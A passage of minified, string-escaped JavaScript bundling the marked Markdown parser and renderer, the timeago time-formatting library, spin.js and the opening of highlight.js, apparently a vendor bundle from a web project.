*){3,}(?:\\\\n+|$))\")(\"def\",\"\\\\n+(?=\"+p.def.source+\")\")(),p.blockquote=l(p.blockquote)(\"def\",p.def)(),p._tag=\"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\\\b)\\\\w+(?!:/|[^\\\\w\\\\s@]*@)\\\\b\",p.html=l(p.html)(\"comment\",/<!--[\\s\\S]*?-->/)(\"closed\",/<(tag)[\\s\\S]+?<\\/\\1>/)(\"closing\",/<tag(?:\"[^\"]*\"|'[^']*'|[^'\">])*?>/)(/tag/g,p._tag)(),p.paragraph=l(p.paragraph)(\"hr\",p.hr)(\"heading\",p.heading)(\"lheading\",p.lheading)(\"blockquote\",p.blockquote)(\"tag\",\"<\"+p._tag)(\"def\",p.def)(),p.normal=h({},p),p.gfm=h({},p.normal,{fences:/^ *(`{3,}|~{3,})[ \\.]*(\\S+)? *\\n([\\s\\S]*?)\\s*\\1 *(?:\\n+|$)/,paragraph:/^/,heading:/^ *(#{1,6}) +([^\\n]+?) *#* *(?:\\n+|$)/}),p.gfm.paragraph=l(p.paragraph)(\"(?!\",\"(?!\"+p.gfm.fences.source.replace(\"\\\\1\",\"\\\\2\")+\"|\"+p.list.source.replace(\"\\\\1\",\"\\\\3\")+\"|\")(),p.tables=h({},p.gfm,{nptable:/^ *(\\S.*\\|.*)\\n *([-:]+ *\\|[-| :]*)\\n((?:.*\\|.*(?:\\n|$))*)\\n*/,table:/^ *\\|(.+)\\n *\\|( *[-:]+[-| :]*)\\n((?: *\\|.*(?:\\n|$))*)\\n*/}),e.rules=p,e.lex=function(t,n){var r=new e(n);return r.lex(t)},e.prototype.lex=function(e){return e=e.replace(/\\r\\n|\\r/g,\"\\n\").replace(/\\t/g,\"    \").replace(/\\u00a0/g,\" \").replace(/\\u2424/g,\"\\n\"),this.token(e,!0)},e.prototype.token=function(e,t,n){for(var r,s,i,l,o,h,a,u,c,e=e.replace(/^ +$/gm,\"\");e;)if((i=this.rules.newline.exec(e))&&(e=e.substring(i[0].length),i[0].length>1&&this.tokens.push({type:\"space\"})),i=this.rules.code.exec(e))e=e.substring(i[0].length),i=i[0].replace(/^ {4}/gm,\"\"),this.tokens.push({type:\"code\",text:this.options.pedantic?i:i.replace(/\\n+$/,\"\")});else if(i=this.rules.fences.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"code\",lang:i[2],text:i[3]||\"\"});else if(i=this.rules.heading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"heading\",depth:i[1].length,text:i[2]});else if(t&&(i=this.rules.nptable.exec(e))){for(e=e.substring(i[0].length),h={type:\"table\",header:i[1].replace(/^ *| *\\| *$/g,\"\").split(/ *\\| */),align:i[2].replace(/^ *|\\| *$/g,\"\").split(/ *\\| */),cells:i[3].replace(/\\n$/,\"\").split(\"\\n\")},u=0;u<h.align.length;u++)/^ *-+: *$/.test(h.align[u])?h.align[u]=\"right\":/^ *:-+: *$/.test(h.align[u])?h.align[u]=\"center\":/^ *:-+ *$/.test(h.align[u])?h.align[u]=\"left\":h.align[u]=null;for(u=0;u<h.cells.length;u++)h.cells[u]=h.cells[u].split(/ *\\| */);this.tokens.push(h)}else if(i=this.rules.lheading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"heading\",depth:\"=\"===i[2]?1:2,text:i[1]});else if(i=this.rules.hr.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"hr\"});else if(i=this.rules.blockquote.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"blockquote_start\"}),i=i[0].replace(/^ *> ?/gm,\"\"),this.token(i,t,!0),this.tokens.push({type:\"blockquote_end\"});else if(i=this.rules.list.exec(e)){for(e=e.substring(i[0].length),l=i[2],this.tokens.push({type:\"list_start\",ordered:l.length>1}),i=i[0].match(this.rules.item),r=!1,c=i.length,u=0;c>u;u++)h=i[u],a=h.length,h=h.replace(/^ *([*+-]|\\d+\\.) +/,\"\"),~h.indexOf(\"\\n \")&&(a-=h.length,h=this.options.pedantic?h.replace(/^ {1,4}/gm,\"\"):h.replace(new RegExp(\"^ {1,\"+a+\"}\",\"gm\"),\"\")),this.options.smartLists&&u!==c-1&&(o=p.bullet.exec(i[u+1])[0],l===o||l.length>1&&o.length>1||(e=i.slice(u+1).join(\"\\n\")+e,u=c-1)),s=r||/\\n\\n(?!\\s*$)/.test(h),u!==c-1&&(r=\"\\n\"===h.charAt(h.length-1),s||(s=r)),this.tokens.push({type:s?\"loose_item_start\":\"list_item_start\"}),this.token(h,!1,n),this.tokens.push({type:\"list_item_end\"});this.tokens.push({type:\"list_end\"})}else if(i=this.rules.html.exec(e))e=e.substring(i[0].length),this.tokens.push({type:this.options.sanitize?\"paragraph\":\"html\",pre:!this.options.sanitizer&&(\"pre\"===i[1]||\"script\"===i[1]||\"style\"===i[1]),text:i[0]});else if(!n&&t&&(i=this.rules.def.exec(e)))e=e.substring(i[0].length),this.tokens.links[i[1].toLowerCase()]={href:i[2],title:i[3]};else if(t&&(i=this.rules.table.exec(e))){for(e=e.substring(i[0].length),h={type:\"table\",header:i[1].replace(/^ *| *\\| *$/g,\"\").split(/ *\\| */),align:i[2].replace(/^ *|\\| *$/g,\"\").split(/ *\\| */),cells:i[3].replace(/(?: *\\| *)?\\n$/,\"\").split(\"\\n\")},u=0;u<h.align.length;u++)/^ *-+: *$/.test(h.align[u])?h.align[u]=\"right\":/^ *:-+: *$/.test(h.align[u])?h.align[u]=\"center\":/^ *:-+ *$/.test(h.align[u])?h.align[u]=\"left\":h.align[u]=null;for(u=0;u<h.cells.length;u++)h.cells[u]=h.cells[u].replace(/^ *\\| *| *\\| *$/g,\"\").split(/ *\\| */);this.tokens.push(h)}else if(t&&(i=this.rules.paragraph.exec(e)))e=e.substring(i[0].length),this.tokens.push({type:\"paragraph\",text:\"\\n\"===i[1].charAt(i[1].length-1)?i[1].slice(0,-1):i[1]});else if(i=this.rules.text.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"text\",text:i[0]});else if(e)throw new Error(\"Infinite loop on byte: \"+e.charCodeAt(0));return this.tokens};var u={escape:/^\\\\([\\\\`*{}\\[\\]()#+\\-.!_>])/,autolink:/^<([^ >]+(@|:\\/)[^ >]+)>/,url:o,tag:/^<!--[\\s\\S]*?-->|^<\\/?\\w+(?:\"[^\"]*\"|'[^']*'|[^'\">])*?>/,link:/^!?\\[(inside)\\]\\(href\\)/,reflink:/^!?\\[(inside)\\]\\s*\\[([^\\]]*)\\]/,nolink:/^!?\\[((?:\\[[^\\]]*\\]|[^\\[\\]])*)\\]/,strong:/^__([\\s\\S]+?)__(?!_)|^\\*\\*([\\s\\S]+?)\\*\\*(?!\\*)/,em:/^\\b_((?:[^_]|__)+?)_\\b|^\\*((?:\\*\\*|[\\s\\S])+?)\\*(?!\\*)/,code:/^(`+)\\s*([\\s\\S]*?[^`])\\s*\\1(?!`)/,br:/^ {2,}\\n(?!\\s*$)/,del:o,text:/^[\\s\\S]+?(?=[\\\\<!\\[_*`]| {2,}\\n|$)/};u._inside=/(?:\\[[^\\]]*\\]|[^\\[\\]]|\\](?=[^\\[]*\\]))*/,u._href=/\\s*<?([\\s\\S]*?)>?(?:\\s+['\"]([\\s\\S]*?)['\"])?\\s*/,u.link=l(u.link)(\"inside\",u._inside)(\"href\",u._href)(),u.reflink=l(u.reflink)(\"inside\",u._inside)(),u.normal=h({},u),u.pedantic=h({},u.normal,{strong:/^__(?=\\S)([\\s\\S]*?\\S)__(?!_)|^\\*\\*(?=\\S)([\\s\\S]*?\\S)\\*\\*(?!\\*)/,em:/^_(?=\\S)([\\s\\S]*?\\S)_(?!_)|^\\*(?=\\S)([\\s\\S]*?\\S)\\*(?!\\*)/}),u.gfm=h({},u.normal,{escape:l(u.escape)(\"])\",\"~|])\")(),url:/^(https?:\\/\\/[^\\s<]+[^<.,:;\"')\\]\\s])/,del:/^~~(?=\\S)([\\s\\S]*?\\S)~~/,text:l(u.text)(\"]|\",\"~]|\")(\"|\",\"|https?://|\")()}),u.breaks=h({},u.gfm,{br:l(u.br)(\"{2,}\",\"*\")(),text:l(u.gfm.text)(\"{2,}\",\"*\")()}),t.rules=u,t.output=function(e,n,r){var s=new t(n,r);return s.output(e)},t.prototype.output=function(e){for(var t,n,r,i,l=\"\";e;)if(i=this.rules.escape.exec(e))e=e.substring(i[0].length),l+=i[1];else if(i=this.rules.autolink.exec(e))e=e.substring(i[0].length),\"@\"===i[2]?(n=\":\"===i[1].charAt(6)?this.mangle(i[1].substring(7)):this.mangle(i[1]),r=this.mangle(\"mailto:\")+n):(n=s(i[1]),r=n),l+=this.renderer.link(r,null,n);else if(this.inLink||!(i=this.rules.url.exec(e))){if(i=this.rules.tag.exec(e))!this.inLink&&/^<a /i.test(i[0])?this.inLink=!0:this.inLink&&/^<\\/a>/i.test(i[0])&&(this.inLink=!1),e=e.substring(i[0].length),l+=this.options.sanitize?this.options.sanitizer?this.options.sanitizer(i[0]):s(i[0]):i[0];else if(i=this.rules.link.exec(e))e=e.substring(i[0].length),this.inLink=!0,l+=this.outputLink(i,{href:i[2],title:i[3]}),this.inLink=!1;else if((i=this.rules.reflink.exec(e))||(i=this.rules.nolink.exec(e))){if(e=e.substring(i[0].length),t=(i[2]||i[1]).replace(/\\s+/g,\" \"),t=this.links[t.toLowerCase()],!t||!t.href){l+=i[0].charAt(0),e=i[0].substring(1)+e;continue}this.inLink=!0,l+=this.outputLink(i,t),this.inLink=!1}else if(i=this.rules.strong.exec(e))e=e.substring(i[0].length),l+=this.renderer.strong(this.output(i[2]||i[1]));else if(i=this.rules.em.exec(e))e=e.substring(i[0].length),l+=this.renderer.em(this.output(i[2]||i[1]));else if(i=this.rules.code.exec(e))e=e.substring(i[0].length),l+=this.renderer.codespan(s(i[2],!0));else if(i=this.rules.br.exec(e))e=e.substring(i[0].length),l+=this.renderer.br();else if(i=this.rules.del.exec(e))e=e.substring(i[0].length),l+=this.renderer.del(this.output(i[1]));else if(i=this.rules.text.exec(e))e=e.substring(i[0].length),l+=this.renderer.text(s(this.smartypants(i[0])));else if(e)throw new Error(\"Infinite loop on byte: \"+e.charCodeAt(0))}else e=e.substring(i[0].length),n=s(i[1]),r=n,l+=this.renderer.link(r,null,n);return l},t.prototype.outputLink=function(e,t){var n=s(t.href),r=t.title?s(t.title):null;return\"!\"!==e[0].charAt(0)?this.renderer.link(n,r,this.output(e[1])):this.renderer.image(n,r,s(e[1]))},t.prototype.smartypants=function(e){return this.options.smartypants?e.replace(/---/g,\"—\").replace(/--/g,\"–\").replace(/(^|[-\\u2014\\/(\\[{\"\\s])'/g,\"$1‘\").replace(/'/g,\"’\").replace(/(^|[-\\u2014\\/(\\[{\\u2018\\s])\"/g,\"$1“\").replace(/\"/g,\"”\").replace(/\\.{3}/g,\"…\"):e},t.prototype.mangle=function(e){if(!this.options.mangle)return e;for(var t,n=\"\",r=e.length,s=0;r>s;s++)t=e.charCodeAt(s),Math.random()>.5&&(t=\"x\"+t.toString(16)),n+=\"&#\"+t+\";\";return n},n.prototype.code=function(e,t,n){if(this.options.highlight){var r=this.options.highlight(e,t);null!=r&&r!==e&&(n=!0,e=r)}return t?'<pre><code class=\"'+this.options.langPrefix+s(t,!0)+'\">'+(n?e:s(e,!0))+\"\\n</code></pre>\\n\":\"<pre><code>\"+(n?e:s(e,!0))+\"\\n</code></pre>\"},n.prototype.blockquote=function(e){return\"<blockquote>\\n\"+e+\"</blockquote>\\n\"},n.prototype.html=function(e){return e},n.prototype.heading=function(e,t,n){return\"<h\"+t+' id=\"'+this.options.headerPrefix+n.toLowerCase().replace(/[^\\w]+/g,\"-\")+'\">'+e+\"</h\"+t+\">\\n\"},n.prototype.hr=function(){return this.options.xhtml?\"<hr/>\\n\":\"<hr>\\n\"},n.prototype.list=function(e,t){var n=t?\"ol\":\"ul\";return\"<\"+n+\">\\n\"+e+\"</\"+n+\">\\n\"},n.prototype.listitem=function(e){return\"<li>\"+e+\"</li>\\n\"},n.prototype.paragraph=function(e){return\"<p>\"+e+\"</p>\\n\"},n.prototype.table=function(e,t){return\"<table>\\n<thead>\\n\"+e+\"</thead>\\n<tbody>\\n\"+t+\"</tbody>\\n</table>\\n\"},n.prototype.tablerow=function(e){return\"<tr>\\n\"+e+\"</tr>\\n\"},n.prototype.tablecell=function(e,t){var n=t.header?\"th\":\"td\",r=t.align?\"<\"+n+' style=\"text-align:'+t.align+'\">':\"<\"+n+\">\";return r+e+\"</\"+n+\">\\n\"},n.prototype.strong=function(e){return\"<strong>\"+e+\"</strong>\"},n.prototype.em=function(e){return\"<em>\"+e+\"</em>\"},n.prototype.codespan=function(e){return\"<code>\"+e+\"</code>\"},n.prototype.br=function(){return this.options.xhtml?\"<br/>\":\"<br>\"},n.prototype.del=function(e){return\"<del>\"+e+\"</del>\"},n.prototype.link=function(e,t,n){if(this.options.sanitize){try{var r=decodeURIComponent(i(e)).replace(/[^\\w:]/g,\"\").toLowerCase()}catch(s){return\"\"}if(0===r.indexOf(\"javascript:\")||0===r.indexOf(\"vbscript:\"))return\"\"}var l='<a href=\"'+e+'\"';return t&&(l+=' title=\"'+t+'\"'),l+=\">\"+n+\"</a>\"},n.prototype.image=function(e,t,n){var r='<img src=\"'+e+'\" alt=\"'+n+'\"';return t&&(r+=' title=\"'+t+'\"'),r+=this.options.xhtml?\"/>\":\">\"},n.prototype.text=function(e){return e},r.parse=function(e,t,n){var s=new r(t,n);return s.parse(e)},r.prototype.parse=function(e){this.inline=new t(e.links,this.options,this.renderer),this.tokens=e.reverse();for(var n=\"\";this.next();)n+=this.tok();return n},r.prototype.next=function(){return this.token=this.tokens.pop()},r.prototype.peek=function(){return this.tokens[this.tokens.length-1]||0},r.prototype.parseText=function(){for(var e=this.token.text;\"text\"===this.peek().type;)e+=\"\\n\"+this.next().text;return this.inline.output(e)},r.prototype.tok=function(){switch(this.token.type){case\"space\":return\"\";case\"hr\":return this.renderer.hr();case\"heading\":return this.renderer.heading(this.inline.output(this.token.text),this.token.depth,this.token.text);case\"code\":return this.renderer.code(this.token.text,this.token.lang,this.token.escaped);case\"table\":var e,t,n,r,s,i=\"\",l=\"\";for(n=\"\",e=0;e<this.token.header.length;e++)r={header:!0,align:this.token.align[e]},n+=this.renderer.tablecell(this.inline.output(this.token.header[e]),{header:!0,align:this.token.align[e]});for(i+=this.renderer.tablerow(n),e=0;e<this.token.cells.length;e++){for(t=this.token.cells[e],n=\"\",s=0;s<t.length;s++)n+=this.renderer.tablecell(this.inline.output(t[s]),{header:!1,align:this.token.align[s]});l+=this.renderer.tablerow(n)}return this.renderer.table(i,l);case\"blockquote_start\":for(var l=\"\";\"blockquote_end\"!==this.next().type;)l+=this.tok();return this.renderer.blockquote(l);case\"list_start\":for(var l=\"\",o=this.token.ordered;\"list_end\"!==this.next().type;)l+=this.tok();return this.renderer.list(l,o);case\"list_item_start\":for(var l=\"\";\"list_item_end\"!==this.next().type;)l+=\"text\"===this.token.type?this.parseText():this.tok();return this.renderer.listitem(l);case\"loose_item_start\":for(var l=\"\";\"list_item_end\"!==this.next().type;)l+=this.tok();return this.renderer.listitem(l);case\"html\":var h=this.token.pre||this.options.pedantic?this.token.text:this.inline.output(this.token.text);return this.renderer.html(h);case\"paragraph\":return this.renderer.paragraph(this.inline.output(this.token.text));case\"text\":return this.renderer.paragraph(this.parseText())}},o.exec=o,a.options=a.setOptions=function(e){return h(a.defaults,e),a},a.defaults={gfm:!0,tables:!0,breaks:!1,pedantic:!1,sanitize:!1,sanitizer:null,mangle:!0,smartLists:!1,silent:!1,highlight:null,langPrefix:\"lang-\",smartypants:!1,headerPrefix:\"\",renderer:new n,xhtml:!1},a.Parser=r,a.parser=r.parse,a.Renderer=n,a.Lexer=e,a.lexer=e.lex,a.InlineLexer=t,a.inlineLexer=t.output,a.parse=a,\"undefined\"!=typeof module&&\"object\"==typeof exports?module.exports=a:\"function\"==typeof define&&define.amd?define(function(){return a}):this.marked=a}).call(function(){return this||(\"undefined\"!=typeof window?window:global)}());\n!function(t,e){\"object\"==typeof module&&module.exports?(module.exports=e(),module.exports.default=module.exports):t.timeago=e()}(\"undefined\"!=typeof window?window:this,function(){function t(t){return t instanceof Date?t:isNaN(t)?/^\\d+$/.test(t)?new Date(e(t)):(t=(t||\"\").trim().replace(/\\.\\d+/,\"\").replace(/-/,\"/\").replace(/-/,\"/\").replace(/(\\d)T(\\d)/,\"$1 $2\").replace(/Z/,\" UTC\").replace(/([\\+\\-]\\d\\d)\\:?(\\d\\d)/,\" $1$2\"),new Date(t)):new Date(e(t))}function e(t){return parseInt(t)}function n(t,n,r){n=l[n]?n:l[r]?r:\"en\";for(var o=0,i=t<0?1:0,a=t=Math.abs(t);t>=p[o]&&o<h;o++)t/=p[o];return t=e(t),o*=2,t>(0===o?9:1)&&(o+=1),l[n](t,o,a)[i].replace(\"%s\",t)}function r(e,n){return((n=n?t(n):new Date)-t(e))/1e3}function o(t){for(var e=1,n=0,r=Math.abs(t);t>=p[n]&&n<h;n++)t/=p[n],e*=p[n];return r%=e,r=r?e-r:e,Math.ceil(r)}function i(t){return a(t,\"data-timeago\")||a(t,\"datetime\")}function a(t,e){return t.getAttribute?t.getAttribute(e):t.attr?t.attr(e):void 0}function u(t,e){return t.setAttribute?t.setAttribute(m,e):t.attr?t.attr(m,e):void 0}function c(t,e){this.nowDate=t,this.defaultLocale=e||\"en\"}function d(t,e){return new c(t,e)}var f=\"second_minute_hour_day_week_month_year\".split(\"_\"),s=\"秒_分钟_小时_天_周_月_年\".split(\"_\"),l={en:function(t,e){if(0===e)return[\"just now\",\"right now\"];var n=f[parseInt(e/2)];return t>1&&(n+=\"s\"),[t+\" \"+n+\" ago\",\"in \"+t+\" \"+n]},zh_CN:function(t,e){if(0===e)return[\"刚刚\",\"片刻后\"];var n=s[parseInt(e/2)];return[t+n+\"前\",t+n+\"后\"]}},p=[60,60,24,7,365/7/12,12],h=6,m=\"data-tid\",w={};return c.prototype.doRender=function(t,e,i){var a,c=r(e,this.nowDate),d=this;t.innerHTML=n(c,i,this.defaultLocale),w[a=setTimeout(function(){d.doRender(t,e,i),delete w[a]},Math.min(1e3*o(c),2147483647))]=0,u(t,a)},c.prototype.format=function(t,e){return n(r(t,this.nowDate),e,this.defaultLocale)},c.prototype.render=function(t,e){void 0===t.length&&(t=[t]);for(var n=0,r=t.length;n<r;n++)this.doRender(t[n],i(t[n]),e)},c.prototype.setLocale=function(t){this.defaultLocale=t},d.register=function(t,e){l[t]=e},d.cancel=function(t){var e;if(t)(e=a(t,m))&&(clearTimeout(e),delete w[e]);else{for(e in w)clearTimeout(e);w={}}},d});\n// http://spin.js.org/#v2.3.2\n!function(a,b){\"object\"==typeof module&&module.exports?module.exports=b():\"function\"==typeof define&&define.amd?define(b):a.Spinner=b()}(this,function(){\"use strict\";function a(a,b){var c,d=document.createElement(a||\"div\");for(c in b)d[c]=b[c];return d}function b(a){for(var b=1,c=arguments.length;c>b;b++)a.appendChild(arguments[b]);return a}function c(a,b,c,d){var e=[\"opacity\",b,~~(100*a),c,d].join(\"-\"),f=.01+c/d*100,g=Math.max(1-(1-a)/b*(100-f),a),h=j.substring(0,j.indexOf(\"Animation\")).toLowerCase(),i=h&&\"-\"+h+\"-\"||\"\";return m[e]||(k.insertRule(\"@\"+i+\"keyframes \"+e+\"{0%{opacity:\"+g+\"}\"+f+\"%{opacity:\"+a+\"}\"+(f+.01)+\"%{opacity:1}\"+(f+b)%100+\"%{opacity:\"+a+\"}100%{opacity:\"+g+\"}}\",k.cssRules.length),m[e]=1),e}function d(a,b){var c,d,e=a.style;if(b=b.charAt(0).toUpperCase()+b.slice(1),void 0!==e[b])return b;for(d=0;d<l.length;d++)if(c=l[d]+b,void 0!==e[c])return c}function e(a,b){for(var c in b)a.style[d(a,c)||c]=b[c];return a}function f(a){for(var b=1;b<arguments.length;b++){var c=arguments[b];for(var d in c)void 0===a[d]&&(a[d]=c[d])}return a}function g(a,b){return\"string\"==typeof a?a:a[b%a.length]}function h(a){this.opts=f(a||{},h.defaults,n)}function i(){function c(b,c){return a(\"<\"+b+' xmlns=\"urn:schemas-microsoft.com:vml\" class=\"spin-vml\">',c)}k.addRule(\".spin-vml\",\"behavior:url(#default#VML)\"),h.prototype.lines=function(a,d){function f(){return e(c(\"group\",{coordsize:k+\" \"+k,coordorigin:-j+\" \"+-j}),{width:k,height:k})}function h(a,h,i){b(m,b(e(f(),{rotation:360/d.lines*a+\"deg\",left:~~h}),b(e(c(\"roundrect\",{arcsize:d.corners}),{width:j,height:d.scale*d.width,left:d.scale*d.radius,top:-d.scale*d.width>>1,filter:i}),c(\"fill\",{color:g(d.color,a),opacity:d.opacity}),c(\"stroke\",{opacity:0}))))}var i,j=d.scale*(d.length+d.width),k=2*d.scale*j,l=-(d.width+d.length)*d.scale*2+\"px\",m=e(f(),{position:\"absolute\",top:l,left:l});if(d.shadow)for(i=1;i<=d.lines;i++)h(i,-2,\"progid:DXImageTransform.Microsoft.Blur(pixelradius=2,makeshadow=1,shadowopacity=.3)\");for(i=1;i<=d.lines;i++)h(i);return b(a,m)},h.prototype.opacity=function(a,b,c,d){var e=a.firstChild;d=d.shadow&&d.lines||0,e&&b+d<e.childNodes.length&&(e=e.childNodes[b+d],e=e&&e.firstChild,e=e&&e.firstChild,e&&(e.opacity=c))}}var j,k,l=[\"webkit\",\"Moz\",\"ms\",\"O\"],m={},n={lines:12,length:7,width:5,radius:10,scale:1,corners:1,color:\"#000\",opacity:.25,rotate:0,direction:1,speed:1,trail:100,fps:20,zIndex:2e9,className:\"spinner\",top:\"50%\",left:\"50%\",shadow:!1,hwaccel:!1,position:\"absolute\"};if(h.defaults={},f(h.prototype,{spin:function(b){this.stop();var c=this,d=c.opts,f=c.el=a(null,{className:d.className});if(e(f,{position:d.position,width:0,zIndex:d.zIndex,left:d.left,top:d.top}),b&&b.insertBefore(f,b.firstChild||null),f.setAttribute(\"role\",\"progressbar\"),c.lines(f,c.opts),!j){var g,h=0,i=(d.lines-1)*(1-d.direction)/2,k=d.fps,l=k/d.speed,m=(1-d.opacity)/(l*d.trail/100),n=l/d.lines;!function o(){h++;for(var a=0;a<d.lines;a++)g=Math.max(1-(h+(d.lines-a)*n)%l*m,d.opacity),c.opacity(f,a*d.direction+i,g,d);c.timeout=c.el&&setTimeout(o,~~(1e3/k))}()}return c},stop:function(){var a=this.el;return a&&(clearTimeout(this.timeout),a.parentNode&&a.parentNode.removeChild(a),this.el=void 0),this},lines:function(d,f){function h(b,c){return e(a(),{position:\"absolute\",width:f.scale*(f.length+f.width)+\"px\",height:f.scale*f.width+\"px\",background:b,boxShadow:c,transformOrigin:\"left\",transform:\"rotate(\"+~~(360/f.lines*k+f.rotate)+\"deg) translate(\"+f.scale*f.radius+\"px,0)\",borderRadius:(f.corners*f.scale*f.width>>1)+\"px\"})}for(var i,k=0,l=(f.lines-1)*(1-f.direction)/2;k<f.lines;k++)i=e(a(),{position:\"absolute\",top:1+~(f.scale*f.width/2)+\"px\",transform:f.hwaccel?\"translate3d(0,0,0)\":\"\",opacity:f.opacity,animation:j&&c(f.opacity,f.trail,l+k*f.direction,f.lines)+\" \"+1/f.speed+\"s linear infinite\"}),f.shadow&&b(i,e(h(\"#000\",\"0 0 4px #000\"),{top:\"2px\"})),b(d,b(i,h(g(f.color,k),\"0 0 1px rgba(0,0,0,.1)\")));return d},opacity:function(a,b,c){b<a.childNodes.length&&(a.childNodes[b].style.opacity=c)}}),\"undefined\"!=typeof document){k=function(){var c=a(\"style\",{type:\"text/css\"});return b(document.getElementsByTagName(\"head\")[0],c),c.sheet||c.styleSheet}();var o=e(a(\"group\"),{behavior:\"url(#default#VML)\"});!d(o,\"transform\")&&o.adj?i():j=d(o,\"animation\")}return h});\n/*! highlight.js v9.12.0 | BSD3 License | git.io/hljslicense */\n!function(e){var t=\"object\"==typeof window&&window||\"object\"==typeof self&&self;\"undefined\"!=typeof exports?e(exports):t&&(t.hljs=e({}),\"function\"==typeof define&&define.amd&&define([],function(){return t.hljs}))}(function(e){function t(e){return e.replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")}function r(e){return e.nodeName.toLowerCase()}function a(e,t){var r=e&&e.exec(t);return r&&0===r.index}function n(e){return E.test(e)}function i(e){var t,r,a,i,s=e.className+\" \";if(s+=e.parentNode?e.parentNode.className:\"\",r=M.exec(s))return w(r[1])?r[1]:\"no-highlight\";for(s=s.split(/\\s+/),t=0,a=s.length;a>t;t++)if(i=s[t],n(i)||w(i))return i}function s(e){var t,r={},a=Array.prototype.slice.call(arguments,1);for(t in e)r[t]=e[t];return a.forEach(function(e){for(t in e)r[t]=e[t]}),r}function c(e){var t=[];return function a(e,n){for(var i=e.firstChild;i;i=i.nextSibling)3===i.nodeType?n+=i.nodeValue.length:1===i.nodeType&&(t.push({event:\"start\",offset:n,node:i}),n=a(i,n),r(i).match(/br|hr|img|input/)||t.push({event:\"stop\",offset:n,node:i}));return n}(e,0),t}function o(e,a,n){function i(){return e.length&&a.length?e[0].offset!==a[0].offset?e[0].offset<a[0].offset?e:a:\"start\"===a[0].event?e:a:e.length?e:a}function s(e){function a(e){return\" \"+e.nodeName+'=\"'+t(e.value).replace('\"',\"&quot;\")+'\"'}u+=\"<\"+r(e)+N.map.call(e.attributes,a).join(\"\")+\">\"}function c(e){u+=\"</\"+r(e)+\">\"}function o(e){(\"start\"===e.event?s:c)(e.node)}for(var l=0,u=\"\",d=[];e.length||a.length;){var b=i();if(u+=t(n.substring(l,b[0].offset)),l=b[0].offset,b===e){d.reverse().forEach(c);do o(b.splice(0,1)[0]),b=i();while(b===e&&b.length&&b[0].offset===l);d.reverse().forEach(s)}else\"start\"===b[0].event?d.push(b[0].node):d.pop(),o(b.splice(0,1)[0])}return u+t(n.substr(l))}function l(e){return e.v&&!e.cached_variants&&(e.cached_variants=e.v.map(function(t){return s(e,{v:null},t)})),e.cached_variants||e.eW&&[s(e)]||[e]}function u(e){function t(e){return e&&e.source||e}function r(r,a){return new RegExp(t(r),\"m\"+(e.cI?\"i\":\"\")+(a?\"g\":\"\"))}function a(n,i){if(!n.compiled){if(n.compiled=!0,n.k=n.k||n.bK,n.k){var s={},c=function(t,r){e.cI&&(r=r.toLowerCase()),r.split(\" \").forEach(function(e){var r=e.split(\"|\");s[r[0]]=[t,r[1]?Number(r[1]):1]})};\"string\"==typeof n.k?c(\"keyword\",n.k):k(n.k).forEach(function(e){c(e,n.k[e])}),n.k=s}n.lR=r(n.l||/\\w+/,!0),i&&(n.bK&&(n.b=\"\\\\b(\"+n.bK.split(\" \").join(\"|\")+\")\\\\b\"),n.b||(n.b=/\\B|\\b/),n.bR=r(n.b),n.e||n.eW||(n.e=/\\B|\\b/),n.e&&(n.eR=r(n.e)),n.tE=t(n.e)||\"\",n.eW&&i.tE&&(n.tE+=(n.e?\"|\":\"\")+i.tE)),n.i&&(n.iR=r(n.i)),null==n.r&&(n.r=1),n.c||(n.c=[]),n.c=Array.prototype.concat.apply([],n.c.map(function(e){return l(\"self\"===e?n:e)})),n.c.forEach(function(e){a(e,n)}),n.starts&&a(n.starts,i);var o=n.c.map(function(e){return e.bK?\"\\\\.?(\"+e.b+\")\\\\.?\":e.b}).concat([n.tE,n.i]).map(t).filter(Boolean);n.t=o.length?r(o.join(\"|\"),!0):{exec:function(){return null}}}}a(e)}function d(e,r,n,i){function s(e,t){var r,n;for(r=0,n=t.c.length;n>r;r++)if(a(t.c[r].bR,e))return t.c[r]}function c(e,t){if(a(e.eR,t)){for(;e.endsParent&&e.parent;)e=e.parent;return e}return e.eW?c(e.parent,t):void 0}function o(e,t){return!n&&a(t.iR,e)}function l(e,t){var r=v.cI?t[0].toLowerCase():t[0];return e.k.hasOwnProperty(r)&&e.k[r]}function p(e,t,r,a){var n=a?\"\":L.classPrefix,i='<span class=\"'+n,s=r?\"\":R;return i+=e+'\">',i+t+s}function m(){var e,r,a,n;if(!N.k)return t(E);for(n=\"\",r=0,N.lR.lastIndex=0,a=N.lR.exec(E);a;)n+=t(E.substring(r,a.index)),e=l(N,a),e?(M+=e[1],n+=p(e[0],t(a[0]))):n+=t(a[0]),r=N.lR.lastIndex,a=N.lR.exec(E);return n+t(E.substr(r))}function f(){var e=\"string\"==typeof N.sL;if(e&&!x[N.sL])return t(E);var r=e?d(N.sL,E,!0,k[N.sL]):b(E,N.sL.length?N.sL:void 0);return N.r>0&&(M+=r.r),e&&(k[N.sL]=r.top),p(r.language,r.value,!1,!0)}function g(){C+=null!=N.sL?f():m(),E=\"\"}function _(e){C+=e.cN?p(e.cN,\"\",!0):\"\",N=Object.create(e,{parent:{value:N}})}function h(e,t){if(E+=e,null==t)return g(),0;var r=s(t,N);if(r)return r.skip?E+=t:(r.eB&&(E+=t),g(),r.rB||r.eB||(E=t)),_(r,t),r.rB?0:t.length;var a=c(N,t);if(a){var n=N;n.skip?E+=t:(n.rE||n.eE||(E+=t),g(),n.eE&&(E=t));do N.cN&&(C+=R),N.skip||(M+=N.r),N=N.parent;while(N!==a.parent);return a.starts&&_(a.starts,\"\"),n.rE?0:t.length}if(o(t,N))throw new Error('Illegal lexeme \"'+t+'\" for mode \"'+(N.cN||\"<unnamed>\")+'\"');return E+=t,t.length||1}var v=w(e);if(!v)throw new Error('Unknown language: \"'+e+'\"');u(v);var y,N=i||v,k={},C=\"\";for(y=N;y!==v;y=y.parent)y.cN&&(C=p(y.cN,\"\",!0)+C);var E=\"\",M=0;try{for(var 